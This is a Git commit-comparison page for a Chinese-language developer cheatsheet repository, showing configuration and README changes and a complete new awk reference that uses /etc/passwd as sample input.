Compare commits

..

63 Commits

Author SHA1 Message Date
4f68d94311 released v1.14.0 2022-11-01 00:40:33 +08:00
10d7679216 website: udpate style. 2022-11-01 00:40:00 +08:00
516ff9af69 website: update style. 2022-11-01 00:23:50 +08:00
a9896a265f feat: add java.md cheatsheet. (#12) 2022-11-01 00:20:36 +08:00
5f533d8332 chore: update issue template. (#12) 2022-10-31 16:40:12 +08:00
f60826e6da website: adjust the layout. 2022-10-31 16:38:04 +08:00
b258494776 feat: add es6.md cheatsheet. 2022-10-31 15:18:50 +08:00
8586f8a212 fix: fix show number line issue. 2022-10-31 09:45:21 +08:00
f8a706064a fix: fix show number line issue. 2022-10-31 09:25:55 +08:00
48b5d0fba3 released v1.13.0 2022-10-31 00:17:26 +08:00
18b276097d doc: update awk.md. 2022-10-31 00:16:43 +08:00
333891b7c3 doc: update awk.md. 2022-10-31 00:14:50 +08:00
e145ecc715 doc: update awk.md. 2022-10-31 00:11:50 +08:00
1e4b812bc3 doc: update awk.md. 2022-10-31 00:11:04 +08:00
909527deec feat: add awk.md cheatsheet. 2022-10-31 00:10:06 +08:00
ce02da885e doc: update css.md. 2022-10-30 23:13:21 +08:00
fb464bd4ff doc: update css.md. 2022-10-30 23:10:39 +08:00
9a2b43372a style: update website style. 2022-10-30 21:45:22 +08:00
42130cf58e released v1.12.0 2022-10-30 21:39:56 +08:00
cbc94665a5 feat: add mime.md cheatsheet. 2022-10-30 21:36:12 +08:00
2c808c7c8d feat: add iso-639-1.md cheatsheet. 2022-10-30 18:52:35 +08:00
6aa07fc077 doc: update lsof.md. 2022-10-30 17:24:27 +08:00
444f0d850c feat: update lsof.md cheatsheet. 2022-10-30 03:10:42 +08:00
8f087e03ff feat: add lsof.md cheatsheet. 2022-10-30 03:06:45 +08:00
37c9f23952 released v1.11.1 2022-10-30 02:15:36 +08:00
cb704eed88 fix: fix preview html meta issue. 2022-10-30 02:14:38 +08:00
75fece7aab feat: add vue.md cheatsheet. (#10) 2022-10-30 01:44:38 +08:00
3966175a39 doc: Update npm.md. 2022-10-30 00:54:02 +08:00
0c03059cde doc: Fix npm access public [<package>] 公开包 (#11) 2022-10-29 23:32:35 +08:00
efae1dc846 doc: add mysql.md cheatsheet. 2022-10-29 01:33:05 +08:00
4132a13a96 chore: format script code. 2022-10-29 00:24:39 +08:00
bd082908d8 released v1.11.0 (#9) 2022-10-28 22:09:23 +08:00
dd8a3cb26d feat: add tocs feature & fix page element generation issue (#9). 2022-10-28 22:07:12 +08:00
6d0801a9da chore: update CONTRIBUTING.md. 2022-10-28 13:54:09 +08:00
6290b9eae0 doc: Correct the anchor(http-status-code) (#8) 2022-10-28 13:05:55 +08:00
9479626194 doc: update docs/github-actions.md. 2022-10-28 11:57:50 +08:00
ad4b2e9119 doc: Update README.md 2022-10-28 11:14:16 +08:00
d48341cecb chore: update CONTRIBUTING.md. 2022-10-28 11:14:16 +08:00
5aec989c14 chore: update issue template. 2022-10-28 11:14:16 +08:00
13492fe556 docs(http-status-code): md '_' conversion error (#7) 2022-10-28 11:12:33 +08:00
d145aaa0b0 doc: update semver.md. 2022-10-27 17:33:07 +08:00
531c01d62e doc: update homebrew.md. 2022-10-27 13:13:45 +08:00
0a160d22d8 doc: Update README.md 2022-10-26 10:12:18 +08:00
0a070e996c released v1.10.0 2022-10-25 17:33:47 +08:00
54faf5c19c doc: update ini.md. 2022-10-25 17:32:34 +08:00
09f57d1848 feat: add ini.md cheatsheet. 2022-10-25 17:03:30 +08:00
f875a335e1 feat: add swiftui.md cheatsheet. 2022-10-25 14:47:18 +08:00
b743110c9d doc: update toml.md. 2022-10-24 16:43:32 +08:00
d1c9871504 released v1.9.0 2022-10-23 22:48:23 +08:00
a478fbb888 feat: HTML code preview is supported in markdown. 2022-10-23 22:27:07 +08:00
fdcfcb287b feat: quickreference add auto-wrap class. 2022-10-22 22:37:46 +08:00
3003e3db66 doc: update chmod.md. 2022-10-22 15:59:49 +08:00
ca1f5ad470 doc: update chmod.md. 2022-10-22 15:57:01 +08:00
d0d371b165 doc: update README.md. 2022-10-22 02:14:16 +08:00
54b7faee00 doc: add contributing info. 2022-10-22 02:11:55 +08:00
8d7cc05f4d released v1.8.0 2022-10-22 01:58:05 +08:00
4498add1f2 doc: update resolutions.md. 2022-10-22 01:57:38 +08:00
6c8e56ad61 feat: add resolutions.md cheatsheet. 2022-10-22 01:43:33 +08:00
ef976825e4 feat: add netcat.svg cheatsheet. 2022-10-22 00:33:16 +08:00
9d3a061bff feat: add netstat.md cheatsheet. 2022-10-21 23:49:09 +08:00
cd1be27fae doc: update sass.md. 2022-10-21 17:38:46 +08:00
9774884614 feat: add sass.md cheatsheet. 2022-10-21 17:36:31 +08:00
c357f95bf0 doc: update github-actions.md. 2022-10-21 14:50:10 +08:00
68 changed files with 7805 additions and 379 deletions

View File

@ -5,21 +5,16 @@ title: '备忘清单 请求: '
labels: request
assignees: jaywcjlove
---
备忘清单标题 备忘清单
备忘清单标题 备忘清单
===
这是您可以在 Quick Reference 备忘清单上使用的参考!【备忘清单介绍】
入门
---
### 卡片 1
如果有一张备忘单(速查表) [`参考这里`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 为仓库贡献。
### 卡片 2
### 卡片 3
另见
提供参考资料地址
----
- [参考地址](https://xxx.com)
- [提供 参考地址 1](https://jaywcjlove.github.io/reference)
- [提供 官网地址](https://jaywcjlove.github.io/reference)

View File

@ -16,6 +16,13 @@ jobs:
- run: npm install
- run: npm run build
- name: Generate Contributors Images
uses: jaywcjlove/github-action-contributors@main
with:
filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\])
output: dist/CONTRIBUTORS.svg
avatarSize: 42
- name: Create Tag
id: create_tag
uses: jaywcjlove/create-tag-action@main

4
.husky/pre-commit Executable file
View File

@ -0,0 +1,4 @@
#!/usr/bin/env sh
. "$(dirname -- "$0")/_/husky.sh"
npx --no-install lint-staged

3
.lintstagedrc Normal file
View File

@ -0,0 +1,3 @@
{
"**/*.{mjs,css,json,prettierrc,lintstagedrc}": ["prettier --write"]
}

5
.prettierignore Normal file
View File

@ -0,0 +1,5 @@
package.json
coverage
dist
build
docs

9
.prettierrc Normal file
View File

@ -0,0 +1,9 @@
{
"singleQuote": true,
"trailingComma": "all",
"printWidth": 120,
"overrides": [
{ "files": ".prettierrc", "options": { "parser": "json" } },
{ "files": ".lintstagedrc", "options": { "parser": "json" } }
]
}

View File

@ -16,6 +16,26 @@ Contributing 贡献
只需要 `标题<h1>``介绍`(标题下面)。脚本会自动识别,通过 GitHub Actions 自动发布 [`Quick Reference`](https://jaywcjlove.github.io/reference) 网站。
## 目录结构
```bash
.
├── CONTRIBUTING.md # 贡献说明
├── Dockerfile
├── LICENSE
├── README.md # Home(首页) 内容
├── dist # 编译后的静态资源目录
├── docs # Markdown 文档(快速参考备忘清单【速查表】)
│   ├── bash.md
│   ├── ....
│   └── yaml.md
├── package.json
└── scripts # MD 转 HTML 的编译脚本
├── assets # 存放首页 svg 图标文件资源,与 `dosc` 文件名对应
├── ....
└── watch.mjs
```
## CSS 类注释
[`Quick Reference`](https://jaywcjlove.github.io/reference) 使用 [`@wcj/markdown-to-html`](https://github.com/jaywcjlove/markdown-to-html) 转换 `Markdown`,并使用 [`rehype-attr`](https://github.com/jaywcjlove/rehype-attr) 插件让其支持通过其注释语法添加类和样式。 此外,您可以在 Quick Reference 备忘清单上使用样式参考https://jaywcjlove.github.io/reference/docs/quickreference.html
@ -34,6 +54,13 @@ Contributing 贡献
<!--rehype:class=home-card-->
```
首页导航图标存放在 `scripts/assets` 目录中,如果你的备忘清单定义为 `docs/cron.md`,那么你的图标就定义为 `cron.svg` 存放到 `scripts/assets` 目录中,重新编译首页当行菜单就拥有了图标。
- 图标存放在 [`scripts/assets`](https://github.com/jaywcjlove/reference/blob/main/scripts/assets) 目录中
- 图片名称与清单名称保持一致 `cron.md` -> `cron.svg` (注意大小写)
- SVG 图标尺寸 `<svg height="1em" width="1em"`
- SVG 图标颜色使用继承颜色值 `<svg fill="currentColor"`
## 本地开发
```bash

View File

@ -9,10 +9,10 @@ Quick Reference
<!--rehype:ignore:end-->
<!--rehype:ignore:start-->
[![Quick Reference](https://user-images.githubusercontent.com/1680273/196679526-a87aa4af-a7cb-43ff-9817-edbd4e465058.png)](https://jaywcjlove.github.io/reference)
[![Quick Reference](https://user-images.githubusercontent.com/1680273/197915058-b0aafe2c-10fc-4cc3-b54e-66329c7b4450.png)](https://jaywcjlove.github.io/reference)
<!--rehype:ignore:end-->
为开发人员分享快速参考备忘清单(主要是方便自己),在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单,感觉非常简单,造轮子使命感突然来了,造个中文版本的,为了方便自己的技术栈查阅,立马撸起来 :)。如果您发现此处的备忘单不合适,您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单,只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
为开发人员分享快速参考备忘清单【速查表】 _(主要是方便自己)_,在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单,感觉非常简单,造轮子使命感突然来了,造个中文版本的,为了方便自己的技术栈查阅,立马撸起来 :)。如果您发现此处的备忘单不合适,您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单,只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
## 编程
@ -21,9 +21,13 @@ Quick Reference
[Docker](./docs/docker.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
[Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
[Golang](./docs/golang.md)<!--rehype:style=background: rgb(39 160 193/var(\-\-bg\-opacity));-->
[INI](./docs/ini.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
[JSON](./docs/json.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
[Java](./docs/java.md)<!--rehype:style=background: rgb(211 55 49/var(\-\-bg\-opacity));&class=contributing-->
[Markdown](./docs/markdown.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
[MySQL](./docs/mysql.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
[Swift](./docs/swift.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
[SwiftUI](./docs/swiftui.md)<!--rehype:style=background: rgb(10 127 247/var(\-\-bg\-opacity));-->
[TOML](./docs/toml.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
[YAML](./docs/yaml.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
<!--rehype:class=home-card-->
@ -33,8 +37,10 @@ Quick Reference
[CSS 3](./docs/css.md)<!--rehype:style=background: rgb(35 115 205/var(\-\-bg\-opacity));-->
[Electron](./docs/electron.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
[Emmet](./docs/emmet.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));-->
[ES 6](./docs/es6.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));-->
[Styled Components](./docs/styled-components.md)<!--rehype:style=background: rgb(221 60 184/var(\-\-bg\-opacity));-->
[Stylus](./docs/stylus.md)<!--rehype:style=background: rgb(109 161 63/var(\-\-bg\-opacity));-->
[Sass](./docs/sass.md)<!--rehype:style=background: rgb(207 100 154/var(\-\-bg\-opacity));-->
[HTML](./docs/html.md)<!--rehype:style=background: rgb(228 77 39/var(\-\-bg\-opacity));-->
[JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31/var(\-\-bg\-opacity));-->
[Jest](./docs/jest.md)<!--rehype:style=background: rgb(153 66 91/var(\-\-bg\-opacity));-->
@ -46,6 +52,7 @@ Quick Reference
[RegEx](./docs/regex.md)<!--rehype:style=background: rgb(149 36 155/var(\-\-bg\-opacity));-->
[TypeScript](./docs/typescript.md)<!--rehype:style=background: rgb(49 120 198/var(\-\-bg\-opacity));-->
[Vue 2](./docs/vue2.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));-->
[Vue 3 ](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));&class=contributing-->
<!--rehype:class=home-card-->
## Nodejs
@ -68,14 +75,18 @@ Quick Reference
## Linux 命令
[Awk](./docs/awk.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Curl](./docs/curl.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Chmod](./docs/chmod.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Cron](./docs/cron.md)<!--rehype:style=background: rgb(239 68 68/var(\-\-bg\-opacity));-->
[Git](./docs/git.md)<!--rehype:style=background: rgb(215 89 62/var(\-\-bg\-opacity));-->
[Grep](./docs/grep.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Lsof](./docs/lsof.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135/var(\-\-bg\-opacity));-->
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
@ -88,7 +99,10 @@ Quick Reference
[Colors Named](./docs/colors-named.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[ISO 639-1 Language Code](./docs/iso-639-1.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Emoji](./docs/emoji.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[MIME types](./docs/mime.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Resolutions](./docs/resolutions.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
<!--rehype:class=home-card-->
## 看到缺少什么了吗?
@ -96,11 +110,21 @@ Quick Reference
上面的列表没有看到你想要的? 您是否正在寻找一些备忘清单或参考资料,或者您有一些片段备忘清单要分享,这是一个最好的机会!
[`请求添加备忘单`](https://github.com/jaywcjlove/reference/issues/new?title=【备忘清单】+请求%3A+&labels=request&template=cheatsheet-request.md&assignee=jaywcjlove)<!--rehype:class=home-button&style=margin-top:2rem&target=__blank-->
[`我有一张备忘单`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)<!--rehype:class=home-button text-grey&target=__blank-->
[`请求添加备忘单(速查表)`](https://github.com/jaywcjlove/reference/issues/new?title=【备忘清单】+请求%3A+&labels=request&template=cheatsheet-request.md&assignee=jaywcjlove)<!--rehype:class=home-button&style=margin-top:2rem&target=__blank-->
[`我有一张备忘单(速查表)`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)<!--rehype:class=home-button text-grey&target=__blank-->
<!--rehype:style=margin-top:3rem-->
<!--rehype:ignore:start-->
## 贡献
请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往,感谢我们出色的贡献者!
<a href="https://github.com/jaywcjlove/reference/graphs/contributors">
<img src="https://jaywcjlove.github.io/reference/CONTRIBUTORS.svg" />
</a>
上图贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
## License
MIT © [Kenny Wong](https://github.com/jaywcjlove)

788
docs/awk.md Normal file
View File

@ -0,0 +1,788 @@
Awk 备忘清单
===
这是 [GNU awk](https://www.gnu.org/software/gawk/manual/gawk.html) 的单页快速参考备忘单,其中涵盖了常用的 `awk` 表达式和命令。
入门
------
### 试试
该程序可用于选择文件中的特定记录并对其执行操作
```shell
$ awk -F: '{print $1, $NF}' /etc/passwd
```
----
| - | - | - |
|---|---------------|---------------------------|
| | `-F:` | 冒号作为分隔符 |
| | `{...}` | awk 程序 |
| | `print` | 打印当前记录 |
| | `$1` | 第一个字段 |
| | `$NF` | 最后一个字段 |
| | `/etc/passwd` | 输入数据文件 |
### Awk 程序
```bash
BEGIN {<初始化>}
<pattern 1> {<计划动作>}
<pattern 2> {<计划动作>}
...
END {< 最后的动作 >}
```
#### 示例
```bash
awk '
BEGIN { print "\n>>>Start" }
!/(login|shutdown)/ { print NR, $0 }
END { print "<<<END\n" }
' /etc/passwd
```
### 变量
<!--rehype:wrap-class=row-span-2-->
```bash
$1 $2/$(NF-1) $3/$NF
▼ ▼ ▼
┌──────┬──────────────┬───────┐
$0/NR ▶ │ ID │ WEBSITE │ URI │
├──────┼──────────────┼───────┤
$0/NR ▶ │ 1 │ baidu.com │ awk │
├──────┼──────────────┼───────┤
$0/NR ▶ │ 2 │ google.com │ 25
└──────┴──────────────┴───────┘
```
---
```shell
# 第一个和最后一个字段
awk -F: '{print $1,$NF}' /etc/passwd
# 带行号
awk -F: '{print NR, $0}' /etc/passwd
# 倒数第二个字段
awk -F: '{print $(NF-1)}' /etc/passwd
# 自定义字符串
awk -F: '{print $1 "=" $6}' /etc/passwd
```
查看: [Awk 变量](#awk-变量)
### Awk 程序示例
<!--rehype:wrap-class=row-span-2 col-span-2-->
```shell
awk 'BEGIN {print "hello world"}' # 打印 "hello world"
awk -F: '{print $1}' /etc/passwd # -F: 指定字段分隔符
# /pattern/ 仅对匹配的模式执行操作
awk -F: '/root/ {print $1}' /etc/passwd
# BEGIN 块在开始时执行一次
awk -F: 'BEGIN { print "uid"} { print $1 }' /etc/passwd
# END 块在最后执行一次
awk -F: '{print $1} END { print "-done-"}' /etc/passwd
```
### 条件
```bash
awk -F: '$3>30 {print $1}' /etc/passwd
```
查看: [Conditions 条件](#awk-条件)
### 生成 1000 个空格
```shell
awk 'BEGIN{
while (a++ < 1000)
s=s " ";
print s
}'
```
查看: [Loops](#awk-循环)
### 数组 Arrays
```shell
awk 'BEGIN {
fruits["mango"] = "yellow";
fruits["orange"] = "orange"
for(fruit in fruits) {
print fruit " 的颜色是 " fruits[fruit]
}
}'
```
查看: [Awk 数组](#awk-数组)
### 函数 Functions
```shell
# => 5
awk 'BEGIN{print length("hello")}'
# => HELLO
awk 'BEGIN{print toupper("hello")}'
# => hel
awk 'BEGIN{print substr("hello", 1, 3)}'
```
查看: [Functions](#awk-函数)
Awk 变量
---------
### 内置变量
:- | :-
:- | :-
`$0` | 全线
`$1, $2...$NF` | 第一个,第二个……最后一个字段
`NR` | 记录总数(`N`umber of `R`ecords)
`NF` | N个字段(`N`number of `F`ields)
`OFS` | `O`utput `F`ield `S`eparator<br> 输出字段分隔符 _(default " ")_
`FS` | input `F`ield `S`eparator <br> 输入字段分隔符 _(default " ")_
`ORS` | `O`utput `R`ecord `S`eparator <br> 输出记录分隔符 _(default "\n")_
`RS` | input `R`ecord `S`eparator <br> 输入记录分隔符 _(default "\n")_
`FILENAME` | 文件名
### 表达式
<!--rehype:wrap-class=row-span-2-->
:- | :-
:- | :-
`$1 == "root"` | 第一个字段等于根
`{print $(NF-1)}` | 倒数第二个字段
`NR!=1{print $0}` | 从第 2 条记录开始
`NR > 3` | 从第 4 条记录开始
`NR == 1` | 第一次记录
`END{print NR}` | 总记录
`BEGIN{print OFMT}` | 输出格式
`{print NR, $0}` | 行号
`{print NR " " $0}` | 行号(选项卡)
`{$1 = NR; print}` | 用行号替换第一个字段
`$NF > 4` | 最后一个字段 > 4
`NR % 2 == 0` | 甚至记录
`NR==10, NR==20` | 记录 10 到 20
`BEGIN{print ARGC}` | 总 `arguments`
`ORS=NR%5?",":"\n"` | 连接记录
### 示例
<!--rehype:wrap-class=row-span-2-->
打印总和和平均值
```shell
awk -F: '{sum += $3}
END { print sum, sum/NR }
' /etc/passwd
```
打印参数
```shell
awk 'BEGIN {
for (i = 1; i < ARGC; i++)
print ARGV[i] }' a b c
```
输出字段分隔符为逗号
```shell
awk 'BEGIN { FS=":";OFS=","}
{print $1,$2,$3,$4}' /etc/passwd
```
匹配位置
```shell
awk 'BEGIN {
if (match("One Two Three", "Tw"))
print RSTART }'
```
匹配时长
```shell
awk 'BEGIN {
if (match("One Two Three", "re"))
print RLENGTH }'
```
### 仅限 GNU awk
:- | :-
:- | :-
`ENVIRON` | 环境变量
`IGNORECASE` | 忽略大小写
`CONVFMT` | 转换格式
`ERRNO` | 系统错误
`FIELDWIDTHS` | 固定宽度字段
### 环境变量
:- | :-
:- | :-
`ARGC` | 数字或参数
`ARGV` | 参数数组
`FNR` | 文件记录数(`F`ile `N`umber of `R`ecords)
`OFMT` | 数字格式 _(default "%.6g")_
`RSTART` | 字符串中的位置
`RLENGTH` | 比赛时长
`SUBSEP` | 多维数组分隔符 _(default "\034")_
`ARGIND` | 参数索引
### 定义变量
```shell
awk -v var1="Hello" -v var2="Wold" '
END {print var1, var2}
' </dev/null
```
#### 使用 shell 变量
```shell
awk -v varName="$PWD" '
END {print varName}' </dev/null
```
Awk 运算符
---------
### 运算符
:- | :-
:- | :-
`{print $1}` | 第一个字段
`$2 == "foo"` | 等于
`$2 != "foo"` | 不等于
`"foo" in array` | 在数组中
#### 正则表达式
:- | :-
:- | :-
| `/regex/` | 行匹配|
| `!/regex/` | 行不匹配|
| `$1 ~ /regex/` | 字段匹配|
| `$1 !~ /regex/` | 字段不匹配|
#### 更多条件
:- | :-
:- | :-
`($2 <= 4 \|\| $3 < 20)` | 或者
`($1 == 4 && $3 < 20)` | 和
### 运算符
#### 算术运算
- `+`
- `-`
- `*`
- `/`
- `%`
- `++`
- `--`
<!--rehype:className=cols-3 style-none-->
#### 速记作业
- `+=`
- `-=`
- `*=`
- `/=`
- `%=`
<!--rehype:className=cols-3 style-none-->
#### 比较运算符
- `==`
- `!=`
- `<`
- `>`
- `<=`
- `>=`
<!--rehype:className=cols-3 style-none-->
### 示例
```shell
awk 'BEGIN {
if ("foo" ~ "^fo+$")
print "Fooey!";
}'
```
#### 不匹配
```shell
awk 'BEGIN {
if ("boo" !~ "^fo+$")
print "Boo!";
}'
```
#### 如果在数组中
```shell
awk 'BEGIN {
assoc["foo"] = "bar";
assoc["bar"] = "baz";
if ("foo" in assoc)
print "Fooey!";
}'
```
Awk 函数
----------
### 常用功能
<!--rehype:wrap-class=col-span-2-->
函数 | 描述
:- | :-
`index(s,t)` | 字符串 `s` 中出现字符串 `t` 的位置,如果未找到则为 `0`
`length(s)` | 字符串 `s` 的长度(如果没有 `arg`,则为 `$0`)
`rand` | `0``1` 之间的随机数
`substr(s,index,len)` | 返回从索引开始的 `s``len-char` 子字符串(从 `1` 开始计数)
`srand` | 为 `rand` 设置种子并返回之前的种子
`int(x)` | 将 `x` 截断为整数值
`split(s,a,fs)` | 将字符串 `s` 拆分为数组 `a``fs` 拆分,返回 `a` 的长度
`match(s,r)` | 字符串 `s` 中出现正则表达式 `r` 的位置,如果未找到,则为 `0`
`sub(r,t,s)` | 将 `t` 替换为字符串 `s` 中第一次出现的正则表达式 `r`(如果未给出 `s`,则替换为 `$0`)
`gsub(r,t,s)` | 用 `t` 替换字符串 `s` 中所有出现的正则表达式 `r`
`system(cmd)` | 执行cmd并返回退出状态
`tolower(s)` | 字符串 `s` 转小写
`toupper(s)` | 字符串 `s` 转大写
`getline` | 将 `$0` 设置为当前输入文件中的下一个输入记录
### 用户定义函数
```shell
awk '
# 返回最小数量
function find_min(num1, num2){
if (num1 < num2)
return num1
return num2
}
# 返回最大数量
function find_max(num1, num2){
if (num1 > num2)
return num1
return num2
}
# 主功能
function main(num1, num2){
result = find_min(num1, num2)
print "Minimum =", result
result = find_max(num1, num2)
print "Maximum =", result
}
# 脚本执行从这里开始
BEGIN {
main(10, 60)
}
'
```
Awk 数组
---------
### 带索引的数组
```shell
awk 'BEGIN {
arr[0] = "foo";
arr[1] = "bar";
print(arr[0]); # => foo
delete arr[0];
print(arr[0]); # => ""
}'
```
### 带键的数组
```shell
awk 'BEGIN {
assoc["foo"] = "bar";
assoc["bar"] = "baz";
print("baz" in assoc); # => 0
print("foo" in assoc); # => 1
}'
```
### 带拆分的数组
```shell
awk 'BEGIN {
split("foo:bar:baz", arr, ":");
for (key in arr)
print arr[key];
}'
```
### 带有排序的数组
```shell
awk 'BEGIN {
arr[0] = 3
arr[1] = 2
arr[2] = 4
n = asort(arr)
for (i = 1; i <= n ; i++)
print(arr[i])
}'
```
### 多维
```shell
awk 'BEGIN {
multidim[0,0] = "foo";
multidim[0,1] = "bar";
multidim[1,0] = "baz";
multidim[1,1] = "boo";
}'
```
### 多维迭代
```shell
awk 'BEGIN {
array[1,2]=3;
array[2,3]=5;
for (comb in array) {
split(comb,sep,SUBSEP);
print sep[1], sep[2],
array[sep[1],sep[2]]
}
}'
```
Awk 条件
----------
### if-else 语句
```shell
awk -v count=2 'BEGIN {
if (count == 1)
print "Yes";
else
print "Huh?";
}'
```
#### 三元运算符
```shell
awk -v count=2 'BEGIN {
print (count==1) ? "Yes" : "Huh?";
}'
```
### 存在
```shell
awk 'BEGIN {
assoc["foo"] = "bar";
assoc["bar"] = "baz";
if ("foo" in assoc)
print "Fooey!";
}'
```
#### 不存在
```shell
awk 'BEGIN {
assoc["foo"] = "bar";
assoc["bar"] = "baz";
if ("Huh" in assoc == 0 )
print "Huh!";
}'
```
### switch
```shell
awk -F: '{
switch (NR * 2 + 1) {
case 3:
case "11":
print NR - 1
break
case /2[[:digit:]]+/:
print NR
default:
print NR + 1
case -1:
print NR * -1
}
}' /etc/passwd
```
Awk 循环
----------
### for...i
```shell
awk 'BEGIN {
for (i = 0; i < 10; i++)
print "i=" i;
}'
```
#### 1 到 100 之间的 2 的幂
```shell
awk 'BEGIN {
for (i = 1; i <= 100; i *= 2)
print i
}'
```
### for...in
```shell
awk 'BEGIN {
assoc["key1"] = "val1"
assoc["key2"] = "val2"
for (key in assoc)
print assoc[key];
}'
```
#### Arguments
```shell
awk 'BEGIN {
for (argnum in ARGV)
print ARGV[argnum];
}' a b c
```
### 示例
<!--rehype:wrap-class=row-span-3-->
#### 反向记录
```shell
awk -F: '{ x[NR] = $0 }
END {
for (i = NR; i > 0; i--)
print x[i]
}
' /etc/passwd
```
#### 反向字段
```shell
awk -F: '{
for (i = NF; i > 0; i--)
printf("%s ",$i);
print ""
}' /etc/passwd
```
#### 按记录求和
```shell
awk -F: '{
s=0;
for (i = 1; i <= NF; i++)
s += $i;
print s
}' /etc/passwd
```
#### 总结整个文件
```shell
awk -F: '
{for (i = 1; i <= NF; i++)
s += $i;
};
END{print s}
' /etc/passwd
```
### while
<!--rehype:wrap-class=row-span-2-->
```shell
awk 'BEGIN {
while (a < 10) {
print "- " " concatenation: " a
a++;
}
}'
```
#### do...while
```shell
awk '{
i = 1
do {
print $0
i++
} while (i <= 5)
}' /etc/passwd
```
### Break
```shell
awk 'BEGIN {
break_num = 5
for (i = 0; i < 10; i++) {
print i
if (i == break_num)
break
}
}'
```
### Continue
```shell
awk 'BEGIN {
for (x = 0; x <= 10; x++) {
if (x == 5 || x == 6)
continue
printf "%d ", x
}
print ""
}'
```
Awk 格式化打印
---------
### 用法
#### 右对齐
```shell
awk 'BEGIN{printf "|%10s|\n", "hello"}'
# | hello|
```
#### 左对齐
```shell
awk 'BEGIN{printf "|%-10s|\n", "hello"}'
# |hello |
```
### 通用说明符
特征符 | 描述
:- | :-
`c` | ASCII 字符
`d` | 十进制整数
`e`, `E`, `f` | 浮点格式
`o` | 无符号八进制值
`s` | 细绳
`%` | 文字百分比
### Space 空间
```shell
awk -F: '{
printf "%-10s %s\n", $1, $(NF-1)
}' /etc/passwd | head -n 3
```
输出
```shell
root /root
bin /bin
daemon /sbin
```
### Header 标题头
```shell
awk -F: 'BEGIN {
printf "%-10s %s\n", "User", "Home"
printf "%-10s %s\n", "----","----"}
{ printf "%-10s %s\n", $1, $(NF-1) }
' /etc/passwd | head -n 5
```
输出
```shell
User Home
---- ----
root /root
bin /bin
daemon /sbin
```
各种各样的
-------------
### 正则表达式元字符
- `\`
- `^`
- `$`
- `.`
- `[`
- `]`
- `|`
- `(`
- `)`
- `*`
- `+`
- `?`
<!--rehype:className=cols-3 style-none-->
### 转义序列
:- | :-
:- | :-
`\b` | 退格
`\f` | 换页
`\n` | 换行(换行)
`\r` | 回车
`\t` | 水平选项卡
`\v` | 垂直选项卡
### 运行脚本
```shell
$ cat demo.awk
#!/usr/bin/awk -f
BEGIN { x = 23 }
{ x += 2 }
END { print x }
$ awk -f demo.awk /etc/passwd
69
```
另见
--------
- [GNU awk 用户指南](https://www-zeuthen.desy.de/dv/documentation/unixguide/infohtml/gawk/gawk.html) _(www-zeuthen.desy.de)_
